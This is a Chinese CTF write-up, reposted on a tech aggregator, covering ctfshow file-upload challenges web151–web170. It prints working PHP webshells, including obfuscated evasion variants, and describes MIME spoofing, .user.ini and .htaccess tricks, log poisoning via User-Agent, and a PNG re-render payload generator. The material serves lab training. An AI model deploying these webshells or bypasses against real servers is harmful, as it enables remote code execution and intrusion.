IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow 文件上传 -> 正文阅读

[PHP知识库]ctfshow 文件上传

文件上传

文件上传常见姿势

  1. 前端校验 修改前端代码,或burp抓包
  2. 后端校验 前端上传php,burp修改MIME
  3. .user.ini
  4. 文件魔术字节欺骗 php过滤,采用简写
  5. php骚操作
  6. 日志包含绕过
  7. GIF89A绕过getimagesize
  8. png图片二次渲染
  9. jpg图片二次渲染
  10. zip文件上传
  11. apache解析漏洞
  12. 木马免杀

web151

前端校验

题目提示前端校验不可靠,绕过前端校验,上传一句话木马

F12查看页面源代码发现仅允许上传JPG文件,因为本题只是前端校验,所以想到两种解决办法

一是修改前端代码,将允许的文件后缀改为php

lay-data="{url: 'upload.php', accept: 'images',exts:'php'}"

然后上传一句话木马为<?php eval($_REQUEST[888]);,并访问,路径为url+/upload/文件名.php,如果出现了Undefined offset……证明一句话木马写入成功,之后利用参数888进行蚁剑链接或者post传参,找到flag

二是用burp抓包,作为中间人的身份修改文件后缀为php
请添加图片描述

之后的操作同一

web152

后端校验

这道题涉及到后端检验,所以如果还是采用第一题的第一种解法,修改前端代码,就不可了,不过第二种方法仍然可以

介绍一种新方法,后端校验,修改MIME类型,即上图中的content-type

MIME(Multipurpose Internal Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类

常见的MIME类型:

超文本标记语言文本:.html text/html

xml文档:.xml text/xml

XHTML文档:.xhtml application/xhtml+xml

普通文本:.txt text/plain

RTF文本:.rtf application/rtf

所以我们可以通过用burp抓包后修改MIME后端检验类型,来执行我们的php代码

首先我们上传一个php文件,同时用burp抓包,将burp中的Content-Type: application/octet-stream修改为Content-Type: image/png,即让服务器认为这个文件是一个图片文件去解析执行

上传成功,之后的操作同web151

web153

.user.ini

https://www.php.net/manual/zh/configuration.file.per-user.php

同样的提示说后端检验要严密,访问url/upload,发现可以访问,也即该目录下存在一个php文件,可以利用.user.ini文件上传,该文件只有在有php文件的时候才生效

百度搜索查看到该文件的可配置项有auto_append_file、auto_prepend_file可以尝试进行文件包含

首先上传user.ini文件,内容为

auto_append_file=ykingh.png

提示上传失败,需要修改前端校验,

请添加图片描述

首先修改前端提交按钮的accept为file类型,然后删掉exts,接着用burp抓包,修改文件名为.user.ini,文件内容不变,然后修改MIME类型为image/png并提交

提交成功后继续提交ykingh.png,

内容为一句话木马提交后访问url/upload,进行解析,解析成功后利用 888 post传入参数888=system('cat ../flag.php');,提交flag

请添加图片描述

web154

php过滤

看题,,后端不能单二校验,什么鬼。。。。

题目和上一题区别不大,过滤了php,不过可以采用简写,首先绕过前端验证,可以直接上传一张正常照片,然后采用burp抓包,修改内容为请添加图片描述

然后上传图片马,即修改burp内容为

请添加图片描述

这道题过滤掉了php,采用简写,以后为了避免出现这种情况,我们可以直接采用简写

成功之后,操作同前,访问upload,POST传入参数

首先ls判断出当前文件夹有哪些文件,然后../去找上级目录,发现了flag.php
999=system('cat ../flag.php');

或者直接蚁剑链接

web155

做法完全同web154

web156

这道题在上传木马的时候,经过验证发现对于文件内容进行了过滤,经检测过滤掉了{} php,所以我们可以构造变相的一句话木马来绕过

<?= eval($_REQUEST{999});?>

之后操作和前几道题一样

web157

php骚操作

这道题做法和前面相同,有区别的地方是,过滤的地方变多了,经过检验有{} [] ; php等等

影响到了最终的上传,所以我们可以采用php的骚姿势,在上传的图片马中,修改内容为

<?= eval(array_pop($_REQUEST))?>

直接提交请求就可,任何参数都能提交

之后的操作同之前的

另一种方法就是,,

因为我们之前知道了文件的位置,所以我们可以构造一句话木马,直接访问flag,修改一句话木马为

<?= `cat ../fla*`?>				或者<?= system('cat ../fla*')?>

web158

同157

web159

过滤了括号()

web157中不带括号的payload照样可以使用

web160

过滤了括号反引号空格还有一些关键字

突破空格过滤可以用换行符%0a

日志包含绕过

尝试利用日志包含绕过

.user.ini文件照常上传,之后上传的png图片内容修改为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

log被过滤了,拼接绕过

图片内容上传成功后,在url栏中访问url/upload,找到日志文件,

在该路径下进行UA头修改,修改为一句话

<?php system('nl ../f*')?>

查看源代码即可

web161

GIF89A绕过getimagesize

操作方法和web160相同,在文件内容中增加GIF89A即可

web162、163

经过检测,过滤掉了.即文件名中不能包含点,文件内容中也不能包含点

可以利用远程文件包含或者session条件竞争

借用spaceman师傅的VPShttp://1363569045/

。。。暂时跳过。。。网上有脚本

web164

png图片渲染

先利用脚本构造出一个png图片,

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

木马内容为:<?$_GET[0]($_POST[1]);?>

即get传入命令,post传入参数

上传保存好的图片,上传成功后访问,构造url为http://b4bb37f6-bb13-48e7-bdc0-6edd956d49d2.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system

POST传入1=tac f*

然后ctrl+s下载,保存为txt文件打开找到了flag

web165

jpg图片渲染

web166

zip文件上传

首先通过查看源代码,发现本题只允许上传zip格式的文件,我们本地构造一个txt文件,写入一句话木马,然后修改后缀名为.zip,上传,同时用burp抓包,send to repeater之后看到了返回的文件名,在源代码中找到了保存的路径,直接访问并用burp抓包

请添加图片描述

得到flag

web167

apache解析漏洞

看到提示httpd,想到apache解析漏洞,利用.htaccess文件进行绕过

首先上传.htaccess文件,文件内容为

AddType application/x-httpd-php .png

可以将png文件当作php文件来解析

然后上传png文件,内容为一句话木马

请添加图片描述

然后访问url,post传参
请添加图片描述

web168

基础免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

首先要看懂免杀木马的传参姿势

然后根据题意只能上传png图片,我们可以尝试上传png图片后,用burp抓包修改为php文件

请添加图片描述

发送到重发器,发送成功,之后访问网址进行解析

请添加图片描述

web169

日志包含

文件只允许上传zip文件,我们先上传一个zip文件,然后抓包,上传.user.ini,同时修改MIME类型为image/png,因为png可以解析php文件,上传.user.ini文件时发现文件内容不允许包含php和尖括号,所以我们可以采用日志包含

即上传的.user.ini文件,内容修改为

auto_prepend_file="/var/log/nginx/access.log"

上传成功之后随便上传一个php文件,比如123.php,为了满足蚁剑的链接条件

请添加图片描述

之后进行日志包含

burp抓包,修改UA头为一句话木马,然后放包,访问上传的123.php,加载了日志文件,通过蚁剑链接即可获取flag

web170

做法同169

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-06 13:38:10  更:2022-02-06 13:38:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 11:53:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码